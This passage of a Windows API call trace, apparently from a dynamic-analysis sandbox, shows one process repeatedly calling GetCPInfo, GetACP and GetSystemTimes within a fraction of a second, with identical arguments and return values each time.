lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.185] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.185] GetACP () returned 0x4e4 [0049.185] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.186] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.186] GetACP () returned 0x4e4 [0049.186] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.187] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.187] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.187] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.188] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.188] GetACP () returned 0x4e4 [0049.188] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.189] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.189] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.189] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.190] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.190] GetACP () returned 0x4e4 [0049.190] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.191] GetACP () returned 0x4e4 [0049.191] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.191] GetACP () returned 0x4e4 [0049.191] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.191] GetACP () returned 0x4e4 [0049.191] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.191] GetACP () returned 0x4e4 [0049.191] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.191] GetACP () returned 0x4e4 [0049.191] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.191] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.200] GetACP () returned 0x4e4 [0049.200] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.201] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.201] GetACP () returned 0x4e4 [0049.201] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.202] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.202] GetACP () returned 0x4e4 [0049.202] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | 